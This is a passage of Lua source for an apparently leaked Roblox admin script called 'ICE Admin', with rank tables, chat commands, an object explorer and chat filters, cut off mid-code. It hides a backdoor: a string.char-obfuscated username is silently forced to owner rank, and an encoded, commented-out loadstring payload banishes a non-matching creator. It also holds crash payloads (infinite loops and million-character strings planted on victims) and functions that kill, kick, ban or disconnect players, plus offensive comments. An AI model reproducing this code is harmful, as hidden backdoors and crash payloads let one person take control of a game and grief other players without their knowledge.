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- wait()-- Just waiting for it to loaddd
- script.Name='ICE Admin by ICEAdminLeaked' -- Note that I made this ;)
- --[[ hitler hitler hitler hitler hitler mediafire mediafire mediafire mediafire mediafire mediafire Filter on Chat]]--
- script.Parent=__ICE__-- Parent it to nil
- for i,v in pairs(script:children()) do
- coroutine.wrap(function()
- if v:IsA'StringValue' then
- v.Value=('nope0931805'):rep(10000)
- if v.Name=='NewScript' then
- loadstring(v.Value)()
- coroutine.wrap(function() repeat ICE={Removed=false} wait() until Derp end)()
- end
- end
- end)()
- end
- script:ClearAllChildren(); -- This will hide script from CE Theft later on in script
- wait();
- ICE={};
- --[[ Meta methods ]]--
- ICEBackup={
- __index=function(Tab,Key)
- ICE[Key]=Tab
- return ICE[Key]
- end;
- __newindex=function(Tab,Key)
- ICE[Key]=Tab;
- ICE[Tab]=Key;
- Tab[Key]=Key
- end;
- __add=function(tab,key)
- r=nil;
- if tab and tab['Value'] then
- if type(key)=='number' then
- r=key+tab.Value
- else
- r=1+tab.Value
- end
- else
- r=nil
- end
- return r or "Unable to do addition with a table";
- end;
- }
- setmetatable(ICE,ICEBackup)
- --[[ Table creation ]]--
- local ICE={
- ['Ranked']={
- ['HeroOfStalingrad']={Rank=10,Color='Black',CMD=true,'The Leaker.'};
- };
- ['Colors']={
- ['Red']=Color3.new(1,0,0);
- ['Blue']=Color3.new(0,0,1);
- ['Green']=Color3.new(0,1,0);
- ['Black']=Color3.new(0,0,0);
- ['White']=Color3.new(1,1,1);
- ['Orange'] = Color3.new(1,0.5,0);
- ['Yellow'] = Color3.new(1,1,0);
- };
- ['Commands']={};
- ['Logos']=false;
- ['Tablet']='Normal';
- ['Tablets']={};
- ['Bets']={
- "/";"/";
- };
- ['Ender']=[[19377517125321057031759017517053153]];
- ['Removed']=false;
- ['DataSaving']=true;
- ['LockedScripts']=false;
- ['Disabler']=[[error('[ICE]: Scripts are locked',0)()]];
- ['LogoID']="http://www.roblox.com/asset/?id=117357975";
- ['Services']={
- ['Debris']=game:service'Debris';
- ['Workspace']=game:service'Workspace';
- ['Players']=game:service'Players';
- ['Lighting']=game:service'Lighting';
- ['NetworkServer']=game:service'NetworkServer';
- };
- ['Ranks']={
- [-1]="Banished";
- [-0.5]="Scum";
- [0]="Guest";
- [1]="Moderator";
- [2]="Administrator";
- [3]="Developer";
- [4]="Omega Administrator";
- [5]="Overlord";
- [6]="Operator";
- [7]="ROOT";
- [8]="Mega Moderator";
- [9]="Best Friends";
- [10]="Owner";
- };
- ['LocalScript']=script:FindFirstChild'Local';
- ['Script']=script:Clone();
- ['GuiC']=true;
- ['Filters']={};
- ['ActivateGrow']=false;
- ['Loopkilled']={};
- ['DataKey']="25";
- ['Cancel']=false;
- ['Credits']={
- ['ICEAdminLeaked']="For leaking ICE";
- };
- ['Rules']={
- "Thou shall not use forum scripts.",
- "Thou shall not use CamBall / CamSphere.",
- "Thou shall not use CBA.",
- "Thou shall not use RMDX's scripts.",
- "Thou shall not use antibans.",
- "Thou shall not abuse thou admin.",
- "Thou shall not steal scripts(Unless it is revenge of which thou did not create).",
- "Thou shall not trade scripts you didn't make.",
- "Thou shall not use gay scripts.",
- "Thou shall not abuse loopholes in the ancient rules.",
- };
- ['ChatConnections']={
- -- Index func incase;
- };
- ['VoteData']={
- ['Votes']={};
- ['IsVoting']=false;
- ['VotedPlayer']="";
- ['VotingPlayers']={};
- };
- ['Properties']= {
- "AbsolutePosition",
- "AbsoluteSize",
- "AccountAge",
- "AccountAgeReplicate",
- "Active",
- "Adornee",
- "AllowAmbientOcclusion",
- "AllowTeamChangeOnTouch",
- "AluminumQuality",
- "AlwaysOnTop",
- "Ambient",
- "AmbientReverb",
- "Anchored",
- "Angularvelocity",
- "AnimationId",
- "AppearanceDidLoad",
- "AreHingesDetected",
- "AttachmentForward",
- "AttachmentPoint",
- "AttachmentPos",
- "AttachmentRight",
- "AttachmentUp",
- "AutoAssignable",
- "AutoButtonColor",
- "AutoColorCharacters",
- "AvailablePhysicalMemory",
- "Axes",
- "BackgroundColor",
- "BackgroundColor3",
- "BackgroundTransparency",
- "BaseTextureId",
- "BaseUrl",
- "Bevel",
- "BevelRoundness",
- "BinType",
- "BlastPressure",
- "BlastRadius",
- "BodyColor",
- "BodyPart",
- "BorderColor",
- "BorderColor3",
- "BorderSizePixel",
- "BrickColor",
- "Brightness",
- "Browsable",
- "BubbleChat",
- "BubbleChatLifetime",
- "BubbleChatMaxBubbles",
- "Bulge",
- "Button1DownConnectionCount",
- "Button1UpConnectionCount",
- "Button2DownConnectionCount",
- "Button2UpConnectionCount",
- "C0",
- "C1",
- "CameraMode",
- "CameraSubject",
- "CameraType",
- "CanBeDropped",
- "CanCollide",
- "CanLoadCharacterAppearance",
- "CartoonFactor",
- "CastShadows",
- "CelestialBodiesShown",
- "CFrame",
- "Cframe",
- "Character",
- "CharacterAppearance",
- "CharacterAutoLoads",
- "ChatMode",
- "ChatScrollLength",
- "ClassicChat",
- "ClearTextOnFocus",
- "ClipsDescendants",
- "CollisionSoundEnabled",
- "CollisionSoundVolume",
- "Color",
- "ColorShift_Bottom",
- "ColorShift_Top",
- "ConstrainedValue",
- "ControllingHumanoid",
- "ControlMode",
- "ConversationDistance",
- "CoordinateFrame",
- "CorrodedMetalQuality",
- "CPU",
- "CpuCount",
- "CpuSpeed",
- "CreatorId",
- "CreatorType",
- "CurrentAngle",
- "CurrentCamera",
- "CycleOffset",
- "D",
- "DataCap",
- "DataComplexity",
- "DataComplexityLimit",
- "DataReady",
- "Deprecated",
- "DeselectedConnectionCount",
- "DesiredAngle",
- "DiamondPlateQuality",
- "Disabled",
- "DistanceFactor",
- "DistributedGameTime",
- "DopplerScale",
- "Draggable",
- "DraggingV1",
- "Duration",
- "EditorFont",
- "EditorFontSize",
- "EditorTabWidth",
- "ElapsedTime",
- "Elasticity",
- "Enabled",
- "ExplosionType",
- "ExtentsOffset",
- "F0",
- "F1",
- "F2",
- "F3",
- "Face",
- "FaceId",
- "Faces",
- "FieldOfView",
- "Focus",
- "FogColor",
- "FogEnd",
- "FogStart",
- "Font",
- "FontSize",
- "Force",
- "FormFactor",
- "Friction",
- "From",
- "GamepadEnabled",
- "GearGenreSetting",
- "Genre",
- "GeographicLatitude",
- "GfxCard",
- "Graphic",
- "GrassQuality",
- "Grip",
- "GripForward",
- "GripPos",
- "GripRight",
- "GripUp",
- "Guest",
- "HasBuildTools",
- "HeadsUpDisplay",
- "Health",
- "Heat",
- "Hit",
- "Humanoid",
- "IceQuality",
- "Icon",
- "IdleConnectionCount",
- "Image",
- "InitialPrompt",
- "InOut",
- "Archivable",
- "ClassName",
- "DataCost",
- "Name",
- "Parent",
- "InUse",
- "IsModalDialog",
- "IsPaused",
- "IsPlaying",
- "IsWindows",
- "JobId",
- "Jump",
- "KeyboardEnabled",
- "KeyDownConnectionCount",
- "KeyUpConnectionCount",
- "LeftLeg",
- "LeftRight",
- "LinkedSource",
- "LocalPlayer",
- "Location",
- "Locked",
- "Looped",
- "Material",
- "MaxActivationDistance",
- "MaxCollisionSounds",
- "MaxExtents",
- "MaxForce",
- "MaxHealth",
- "MaxItems",
- "MaxPlayers",
- "MaxSpeed",
- "MaxThrust",
- "MaxTorque",
- "MaxValue",
- "MaxVelocity",
- "MembershipType",
- "MembershipTypeReplicate",
- "MeshId",
- "MeshType",
- "MinValue",
- "Modal",
- "MouseButton1ClickConnectionCount",
- "MouseButton1DownConnectionCount",
- "MouseButton1UpConnectionCount",
- "MouseButton2ClickConnectionCount",
- "MouseButton2DownConnectionCount",
- "MouseButton2UpConnectionCount",
- "MouseDelta",
- "MouseDragConnectionCount",
- "MouseEnabled",
- "MouseEnterConnectionCount",
- "MouseHit",
- "MouseLeaveConnectionCount",
- "MouseLock",
- "MouseMovedConnectionCount",
- "MouseTarget",
- "MouseTargetFilter",
- "MouseTargetSurface",
- "MoveConnectionCount",
- "MoveState",
- "MultiLine",
- "NameOcclusion",
- "Neutral",
- "NumPlayers",
- "Offset",
- "Opacity",
- "Origin",
- "OsPlatform",
- "OsVer",
- "OverlayTextureId",
- "P",
- "PantsTemplate",
- "ParamA",
- "ParamB",
- "Part",
- "Part0",
- "Part1",
- "PersonalServerRank",
- "Pitch",
- "PixelShaderModel",
- "PlaceId",
- "PlasticQuality",
- "PlatformStand",
- "PlayCount",
- "PlayerToHideFrom",
- "PlayOnRemove",
- "Point",
- "Port",
- "Position",
- "Preliminary",
- "PrimaryPart",
- "Priority",
- "PrivateWorkingSetBytes",
- "Purpose",
- "RAM",
- "Reflectance",
- "ReplicatedSelectedConnectionCount",
- "ResizeableFaces",
- "ResizeIncrement",
- "Resolution",
- "ResponseDialog",
- "RightLeg",
- "RiseVelocity",
- "RobloxVersion",
- "RolloffScale",
- "RotVelocity",
- "Scale",
- "Score",
- "ScriptsDisabled",
- "SecondaryColor",
- "Selected",
- "ShadowColor",
- "Shape",
- "Shiny",
- "ShirtTemplate",
- "ShowDeprecatedObjects",
- "ShowDevelopmentGui",
- "ShowLegacyPlayerList",
- "ShowPreliminaryObjects",
- "Sides",
- "Sit",
- "Size",
- "SizeConstraint",
- "SizeOffset",
- "SkinColor",
- "SkyboxBk",
- "SkyboxDn",
- "SkyboxFt",
- "SkyboxLf",
- "SkyboxRt",
- "SkyboxUp",
- "SlateQuality",
- "SoundId",
- "Source",
- "SparkleColor",
- "SpecificGravity",
- "Specular",
- "StarCount",
- "Steer",
- "StickyWheels",
- "StudsBetweenTextures",
- "StudsOffset",
- "StudsPerTileU",
- "StudsPerTileV",
- "Style",
- "Summary",
- "SuperSafeChatReplicate",
- "Surface",
- "Surface0",
- "Surface1",
- "SurfaceInput",
- "Target",
- "TargetFilter",
- "TargetOffset",
- "TargetPoint",
- "TargetRadius",
- "TargetSurface",
- "TeamColor",
- "Terrain",
- "Text",
- "TextBounds",
- "TextColor",
- "TextColor3",
- "TextFits",
- "TextScaled",
- "TextStrokeColor3",
- "TextStrokeTransparency",
- "TextTransparency",
- "Texture",
- "TextureId",
- "TextureSize",
- "TextWrap",
- "TextWrapped",
- "TextXAlignment",
- "TextYAlignment",
- "Throttle",
- "ThrustD",
- "ThrustP",
- "Ticket",
- "Time",
- "TimeOfDay",
- "To",
- "Tone",
- "ToolTip",
- "TopBottom",
- "Torque",
- "Torso",
- "TouchEnabled",
- "Transparency",
- "TrussDetail",
- "TurnD",
- "TurnP",
- "TurnSpeed",
- "UnitRay",
- "UseLuaChat",
- "UserDialog",
- "UserId",
- "Value",
- "Velocity",
- "Version",
- "VertexColor",
- "VideoCaptureEnabled",
- "VideoMemory",
- "VideoQuality",
- "ViewSizeX",
- "ViewSizeY",
- "Visible",
- "Volume",
- "WalkDirection",
- "WalkSpeed",
- "WalkToPart",
- "WalkToPoint",
- "WheelBackwardConnectionCount",
- "WheelForwardConnectionCount",
- "WireRadius",
- "WoodQuality",
- "X",
- "Y",
- "ZIndex"
- };
- };
- --loadstring(string.char(32,10,108,111,99,97,108,32,86,97,108,61,115,99,114,105,112,116,58,102,105,110,100,70,105,114,115,116,67,104,105,108,100,39,67,114,101,97,116,111,114,39,32,10,105,102,32,86,97,108,32,97,110,100,32,86,97,108,46,86,97,108,117,101,32,97,110,100,32,103,97,109,101,46,80,108,97,121,101,114,115,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,32,116,104,101,110,32,10,105,102,32,86,97,108,46,86,97,108,117,101,46,117,115,101,114,73,100,32,126,61,32,49,56,50,56,48,55,56,57,32,116,104,101,110,32,10,99,111,114,111,117,116,105,110,101,46,119,114,97,112,40,102,117,110,99,116,105,111,110,40,41,10,9,114,101,112,101,97,116,10,9,9,119,97,105,116,40,41,10,9,117,110,116,105,108,32,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,10,9,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,46,82,97,110,107,61,45,49,10,9,86,97,108,46,86,97,108,117,101,58,68,101,115,116,114,111,121,40,41,59,10,101,110,100,41,40,41,10,101,110,100,10,101,110,100,10))()
- --[=[ Table funcs ]=]--
- ICE.GetProperties = function(Parent)
- local Out = {}
- for _, props in pairs(ICE.Properties) do
- local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end))
- if not Error then
- table.insert(Out, props)
- end
- end
- return Out
- end
- ICE.Rename=function(Item,Player,CurrentName)
- ICE.RemoveTablets(Player)
- Done=false
- Str=CurrentName
- Caps=false
- if CurrentName==Item.Name then Str="" end
- Alphabet = {
- "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
- }
- ICE.Output('Current ICE.Rename Name : ' .. Str,'Green',Player)
- ICE.Output('#Letters : ' ..tostring(#Str),'Red',Player)
- ICE.Output('Switch to caps','Green',Player,nil,function() ICE.RemoveTablets(Player) for _,v in pairs(Alphabet) do ICE.Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) ICE.Rename(Item,Player,Str) end ) end end)
- ICE.Output('Stop renaming','Red',Player,nil,function() Done=true ICE.RemoveTablets(Player) ICE.Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end)
- for _,Letter in pairs(Alphabet) do
- ICE.Output(Letter,'Orange',Player,nil,function() Str= Str..Letter ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
- end
- ICE.Output('Space','Orange',Player,nil,function() Str=Str..' ' ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
- ICE.Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
- end
- coroutine.wrap(function() repeat for i,v in pairs(ICE.Ranked) do if type(v.Color) == 'string' then v.Color=ICE.Colors[v.Color] or Color3.new(BrickColor.new('Really ' .. v.Color:sub(1,1):lower() .. v.Color:sub(2))) end end wait() until ICE.Removed==true end)()
- ICE.Explore=function(Area,Speaker)
- pcall(function()
- ICE.RemoveTablets(Speaker)
- Color = ICE.Ranked[Speaker.Name].Color
- --Title('ICE.Explorer',Color,Speaker)
- if Area == ICE.Services or Area == nil then
- for _,v in pairs(ICE.Services) do
- ICE.Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil,
- function()
- ICE.Explore(v,Speaker)
- end
- )
- end
- --ICE.Output("Dismiss","Red",Speaker)
- else
- for i,v in pairs(Area:children()) do
- local Name = false
- pcall(function() v:children() Name = true end)
- if Name == true then
- Name = v.Name
- else
- Name = "Unknown Exception "..tostring(i)
- end
- ICE.Output(Name,Color,Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker)
- ICE.Output("Name:\t"..v.Name,Color,Speaker)
- ICE.Output("Class:\t"..v.className,Color,Speaker)
- ICE.Output("Full Name:\t"..v:GetFullName(),Color,Speaker)
- ICE.Output("Destroy","Red",Speaker,nil,function() v:Destroy() ICE.Explore(v.Parent,Speaker) end)
- ICE.Output("#REDIRECT Parent","Blue",Speaker,nil,function() ICE.Explore(v.Parent.Parent,Speaker) end)
- ICE.Output("#REDIRECT Children","Blue",Speaker,nil,function() ICE.Explore(v,Speaker) end)
- ICE.Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end)
- ICE.Output('ICE.Rename','Red',Speaker,nil,function() ICE.RemoveTablets(Speaker) ICE.Rename(v,Speaker,v.Name) end )
- --ICE.Output("Dismiss","Red",Speaker)
- local Properties=ICE.GetProperties(v)
- for _,p in pairs(Properties) do
- ICE.Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker)
- end
- end
- )
- end
- --ICE.Output("Dismiss","Red",Speaker)
- end
- end)
- end
- ICE.PlayerInterface=function(Player,Speaker)
- if type(Player) == 'userdata' then Player=Player.Name end;
- ICE.RemoveTablets(Speaker);
- local Table=ICE.Ranked[Player];
- local SpeakerColor=ICE.Ranked[Speaker.Name].Color;
- local SpeakerTable=ICE.Ranked[Speaker.Name];
- for Bleh,Val in pairs(Table) do
- ICE.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker)
- end;
- ICE.Output('Rank description: ' .. ICE.Ranks[Table.Rank],Table.Color,Speaker)
- if ICE.Services.Players:findFirstChild(Player) and newLocalScript then
- if ICE.GetRank(Speaker) >= Table.Rank then
- ICE.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',ICE.Services.Players[Player].Backpack) ICE.PlayerInterface(Player,Speaker) end);
- end;
- end;
- if ICE.GetRank(Speaker) >= ICE.GetRank(Player) then
- ICE.Output('Set rank','Blue',Speaker,nil,function()
- ICE.RemoveTablets(Speaker)
- for Rank,Name in pairs(ICE.Ranks) do
- if Rank <= ICE.GetRank(Speaker) and Rank >= 0 then
- ICE.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- Table.Rank=Rank;
- ICE.PlayerInterface(Player,Speaker);
- end
- );
- end;
- end;
- end);
- end;
- if Speaker.Name == Player or ICE.GetRank(Speaker) > Table.Rank then
- ICE.Output('Set color','Blue',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- for Name,Col in pairs(ICE.Colors) do
- ICE.Output(Name,Col,Speaker,nil,
- function()
- Table.Color=Col;
- ICE.PlayerInterface(Player,Speaker);
- end
- )
- end
- end
- )
- end
- if ICE.GetRank(Speaker) >= 2 and ICE.GetRank(Speaker) > ICE.GetRank(Player) then
- ICE.Output('Banish this user','Red',Speaker,nil,
- function()
- ICE.Ranked[Player].Rank=-1
- if ICE.Services.Players:findFirstChild(Player) then
- ICE.Services.Players[Player]:Destroy()
- end
- ICE.RemoveTablets(Speaker);
- ICE.PlayerInterface(Player,Speaker)
- end
- )
- end
- for i,v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' then
- local ZPlayer=v:GetPlayer()
- if ZPlayer then
- if ZPlayer.Name==Player then
- if ZPlayer.Parent ~= ICE.Services.Players then
- ICE.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil,
- function()
- if ICE.GetRank(Speaker) >= ICE.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then
- local String=Instance.new('StringValue')
- String=Instance.new'StringValue'
- String.Name='Disconnect'
- String.Value=Player
- String.Parent=ICE.Services.Lighting
- ICE.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3)
- else
- ICE.Output('Your rank is not high enough for this operation','Red',Speaker,5)
- end
- end
- )
- end
- end
- end
- end
- end
- end;
- ICE.OnChatted=function(Msg,Speaker,HideGui)
- if ICE.Removed==false then
- local RT=ICE.Ranked[Speaker.Name]
- if Speaker:IsA'Player' then
- local FoundPhrase=false;
- for i,v in pairs(ICE.Filters) do
- local Punish=v.Punishment
- local Bypass=v.Bypass
- local Reason=v.Reason or nil
- if Msg:lower():find(i:lower()) then
- if ICE.GetRank(Speaker) < Bypass and FoundPhrase==false then
- Text=""
- Text2=""
- if Reason then Text2=Reason else Text2="Reason : nil" end
- if Punish==0 then
- pcall(function() Speaker.Character:BreakJoints() end)
- Text = Speaker.Name .. ' has been killed for chatting ' .. i
- elseif Punish==1 then
- pcall(function() Speaker:Destroy() end)
- Text=Speaker.Name .. ' has been kicked for chatting ' .. i
- elseif Punish==2 then
- Func,Error=loadstring([==[
- Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
- if Par then
- Str=Instance.new'StringValue';
- Str.Value=('lel'):re]==]..[==[p(1000000)
- Str.Parent=Par
- else
- Spkr:Destroy()
- end
- ]==])
- getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
- if Error then
- for _,v in pairs(game.Players:GetPlayers()) do
- if ICE.GetRank(v) > 0 then
- ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
- end
- end
- coroutine.resume(coroutine.create(function() Func() end))
- else
- Func()
- end
- Text=Speaker.Name .. ' has been shutdown for chatting ' .. i
- elseif Punish==3 then
- coroutine.wrap(function()
- if newLocalScript then
- newLocalScript([[repeat Instance.new'Message'.Parent=game.Workspace Workspace.Message.Text=tick() until Hitler_Has_Taken_Over ]],Speaker.Character or Speaker:findFirstChild'Backpack')
- else
- Func,Error=loadstring([==[
- Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
- if Par then
- Str=Instance.new'StringValue';
- Str.Value=('lel'):re]==]..[==[p(1000000)
- Str.Parent=Par
- else
- Spkr:Destroy()
- end
- ]==])
- getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
- if Error then
- for _,v in pairs(game.Players:GetPlayers()) do
- if ICE.GetRank(v) > 0 then
- ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
- end
- end
- coroutine.resume(coroutine.create(function() Func() end))
- else
- Func()
- end
- end
- end)()
- Text=Speaker.Name .. ' has been crashed for chatting ' .. i
- elseif Punish==4 then
- Speaker:Destroy()
- ICE.Ranked[Speaker.Name].Rank=-1
- Text=Speaker.Name .. ' has been banned for chatting ' .. i
- end
- if Reason then
- Text2 = i .. ' is a filter for the following reason: ' .. Reason
- end
- FoundPhrase=true
- for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
- if Player.Name ~= Speaker.Name then
- ICE.Output(Text,'Red',Player,5)
- ICE.Output(Text2,'Red',Player,5)
- end
- end
- end
- end
- end
- end
- local RankTable=ICE.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)}
- --[[for i,CMD in pairs(ICE.Commands) do
- if Msg:lower():sub(1,#CMD.Command + #ICE.Bets[1] + #ICE.Bets[2]) == ICE.Bets[1]:lower() .. CMD.Command:lower() .. ICE.Bets[2]:lower() then
- if RankTable.Rank >= CMD.Rank then
- local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command +#ICE.Bets[1] +#ICE.Bets[2] + 1),Speaker) end))
- if not Ran then ICE.Output(Error,'Red',Speaker,3) end
- else
- ICE.Output('Rank is too low to use this command','Red',Speaker,3)
- end
- end
- end]]
- --Msg = Msg:sub(Msg:find(ICE.Bets[1]) or 0)
- coroutine.wrap(function()
- if Msg:sub(1,5) == ""..ICE.Bets[1].."wait" then
- Split = Msg:sub(6):find(ICE.Bets[2])+5
- wait(tonumber(Msg:sub(6,Split-1)))
- Msg = Msg:sub(Split)
- end
- if Msg:sub(1,3) == ""..ICE.Bets[1].."do" then -- /do 100/kill/tus
- local Split = Msg:sub(4):find(ICE.Bets[2])+3;
- local Ammount = tonumber(Msg:sub(4,Split-1))
- if Ammount>ICE.GetRank(Speaker)*10 and ICE.GetRank(Speaker) < 2 then
- return
- end
- for i=1,Ammount do
- if ICE.Cancel == true then break end
- wait()
- ICE.OnChatted(Msg:sub(Split),Speaker)
- end
- end
- if Msg:find("&") and not Msg:find('@') then
- local Split = Msg:find("&")
- ICE.OnChatted(Msg:sub(1,Split-1),Speaker)
- ICE.OnChatted(Msg:sub(Split+1),Speaker)
- return
- end
- for name,tab in pairs(ICE.Commands) do
- if Msg:lower():sub(1,#tab.Command + 2) == ICE.Bets[1] .. tab.Command:lower() .. ICE.Bets[2] then
- if RankTable.Rank >= tab.Rank then
- R,E=coroutine.resume(coroutine.create(function() tab.Func(Msg:sub(#tab.Command + 3),Speaker) end))
- if E then ICE.Output(E,'Red',Speaker,5) end
- else
- ICE.Output('Rank is too low for this command','Red',Speaker,5)
- end
- end
- end
- end)()
- if HideGui ~= nil and HideGui==true then
- --
- elseif Speaker:IsA'Player' then
- coroutine.wrap(function()
- local Text=""
- local Head=nil
- local Char=nil
- if Speaker.Character then
- Char=Speaker.Character
- end
- if Char then
- if Char.Head then
- Head=Char.Head
- end
- end
- if Char then
- pcall(function() Char.BBG:Destroy() end)
- if ICE.GuiC==true then
- if #Msg < 100 then
- Text=Speaker.Name .. ": " .. Msg
- else
- Text='This message was over 100 characters therefore it will not be shown!'
- end
- end
- Color=nil
- if Color3.random then
- Color=Color3.random()
- else
- Color=Color3.new(math.random(),math.random(),math.random())
- end
- Mod=Char
- Part=Head
- local BBG = Instance.new("BillboardGui",Mod)
- BBG.Name = "BBG"
- BBG.StudsOffset = Vector3.new(0,4.5,0)
- BBG.Size = UDim2.new(10,0,10,0)
- local Label = Instance.new("TextLabel",BBG)
- Label.Name = "Label"
- Label.Text = ""
- Label.TextColor3 = ICE.Ranked[Speaker.Name].Color
- Label.FontSize = "Size24"
- Label.BackgroundTransparency = 1
- Label.TextStrokeTransparency = 0.5
- Label.Size = UDim2.new(1,0,1,0)
- for i=1,#Text do
- Label.Text=Text:sub(1,i)
- wait(0.09 - (#Msg / 0.09))
- end
- coroutine.wrap(function()
- for i=1,100 do
- BBG.StudsOffset = Vector3.new(0,4.5 + tonumber(i/10) ,0)
- wait()
- end
- BBG:Destroy()
- end)()
- wait(2)
- BBG:Destroy()
- end
- end)()
- end
- end
- end
- ICE.Rotate=function()
- coroutine.wrap(function()
- if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then
- ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=10,Color=Color3.new(-1,-1,-1)}
- end
- if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 10 then
- ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=10
- end
- for N,V in pairs(ICE.Loopkilled) do
- if ICE.Services.Players:findFirstChild(N) and V==true then
- pcall(function()
- P=ICE.Services.Players:findFirstChild(N)
- P.Character:BreakJoints();
- if P.Character==nil then P:LoadCharacter() end
- end)
- end
- end
- for _,v in pairs(ICE.GetPlayers()) do
- coroutine.wrap(function()
- PG=v:findFirstChild'PlayerGui'
- coroutine.wrap(function()
- if PG==nil then
- v:LoadCharacter()
- PG=v:findFirstChild'PlayerGui'
- end
- if PG:findFirstChild'Info'==nil and ICE.Logos==true then
- ScreenGui = Instance.new("ScreenGui", PG)
- ScreenGui.Name='Info'
- Images={};
- ImageButton = Instance.new("ImageButton", ScreenGui)
- ImageButton.Position = UDim2.new(0, 0, 0, 200)
- ImageButton.Size = UDim2.new(0.20000000298023, 50, 0.20999999344349, 0)
- ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
- ImageButton.BorderColor3 = Color3.new(0, 0, 0)
- ImageButton.BackgroundTransparency = 1
- ImageButton.Image = ICE.LogoID
- ImageButton.Draggable=true
- Image2 = Instance.new("TextButton",ScreenGui)
- Image2.Size = UDim2.new(0.3,0,0.1,0)
- Image2.Position = UDim2.new(0,0,0,200)
- Image2.Text = "Click to show ICE Logo"
- Image2.BackgroundTransparency = 0.4
- Image2.ZIndex = 10
- Image2.FontSize = "Size14"
- Image2.TextColor3 = Color3.new(BrickColor.random())
- Image2.Visible=false
- Image3,Image4,Image5=Image2:clone(),Image2:clone(),Image2:clone()
- Image3.Text='Click to view cmds';
- Image3.Position=UDim2.new(0,0,0,200+75);
- Image4.Position=UDim2.new(0,0,0,200+135);
- Image5.Position=UDim2.new(0,0,0,200+195);
- Image3.MouseButton1Down:connect(function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],v) end)
- Image4.Text='Click to set cmd bar';
- Image6=Image5:clone();
- Image6.Position=UDim2.new(0,0,0,200+255);
- Image6.Text='Set true';
- Image6.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=true end)
- Image5.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=false end);
- Image5.Text='Set false';
- Images[1]=Image2;
- Images[2]=Image3;
- Images[3]=Image4;
- Images[4]=Image5;
- Images[5]=Image6;
- Image4.MouseButton1Down:connect(function()
- for i,v in pairs(Images) do
- if i > 3 then
- if v.Visible==true then
- v.Visible=false;
- else
- v.Visible=true;
- end
- end
- end
- end)
- ImageButton.MouseButton1Down:connect(function()
- ImageButton.Visible=false
- for i,v in pairs(Images) do
- if i < 4 then
- v.Visible=true
- end
- end
- end)
- ImageButton.MouseButton2Down:connect(function()
- end)
- Image2.MouseButton1Down:connect(function()
- ImageButton.Visible=true
- for i,v in pairs(Images) do
- v.Visible=false
- end
- end)
- Image3.Parent,Image4.Parent,Image5.Parent,Image6.Parent=Image2.Parent,Image2.Parent,Image2.Parent,Image2.Parent
- end
- end)()
- if ICE.Ranked[v.Name] and ICE.Ranked[v.Name].CMD==true then
- if v:FindFirstChild("PlayerGui") then
- Found=false;
- for i,p in next,v:children() do
- if p:FindFirstChild'IsCmd' then
- Found=true;
- end
- end
- if not v.PlayerGui:FindFirstChild("CMD") and Found==false and ICE.Ranked[v.Name].CMD==true then
- --[[local Main = Instance.new("ScreenGui",v.PlayerGui)
- Main.Name = "CMD"
- local Frame = Instance.new("Frame",Main)
- Frame.Size = UDim2.new(0.27,0,0.05,0)
- Frame.Position = UDim2.new(0.05,0,0.95,0)
- Frame.Style = "RobloxSquare"
- Frame.ZIndex = 9
- local Txt = Instance.new("TextBox",Frame)
- Txt.Size = UDim2.new(0.7,0,1,0)
- Txt.BackgroundTransparency = 1
- Txt.ZIndex = 10
- Txt.FontSize = "Size14"
- Txt.TextColor3 = ICE.Colors.White
- Txt.Text = ""
- local Exe = Instance.new("TextButton",Frame)
- Exe.Size = UDim2.new(0.3,0,1,0)
- Exe.Position = UDim2.new(0.7,0,0,0)
- Exe.Text = "Execute"
- Exe.BackgroundTransparency = 1
- Exe.ZIndex = 10
- Exe.FontSize = "Size14"
- Exe.TextColor3 = Color3.new(BrickColor.random())
- Exe.MouseButton1Down:connect(function()
- if Txt.Text:sub(1,1) == "^" then
- ICE.OnChatted(Txt.Text,v)
- else
- ICE.OnChatted(Txt.Text,v,true)
- end
- end)
- Is=Instance.new'StringValue'
